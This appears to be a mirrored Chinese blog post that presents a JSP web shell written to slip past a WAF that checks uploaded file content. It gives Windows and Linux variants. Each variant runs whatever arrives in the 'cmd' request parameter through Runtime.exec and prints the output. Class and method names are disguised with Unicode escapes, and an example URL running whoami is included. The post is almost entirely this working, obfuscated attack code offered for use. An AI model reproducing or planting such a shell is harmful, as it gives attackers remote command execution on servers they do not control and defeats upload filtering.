zoukankan      html  css  js  c++  java
  • JSP无%%号命令执行一句话

    JSP无%%号命令执行一句话

    • 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。
    • 后续自己回来做点其他的版本。

    example:http://127.0.0.1/shell.jsp?cmd=whoami

    win:

    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063("cmd.exe /c " + u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
    

    Linux:

    
    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
  • 相关阅读:
    Python环境搭建-anaconda
    UITableView的基本使用方法
    模拟网易新闻上方滚动条
    iOS之导航栏基本设置
    UITextField 方法和代理的使用
    UITextField详解
    init方法的重写与自定义
    OC中协议的理解protocal
    IOS中检测键盘出现和消失的消息
    怎么重装系统(一)
  • 原文地址:https://www.cnblogs.com/0xdd/p/13168000.html
Copyright © 2011-2022 走看看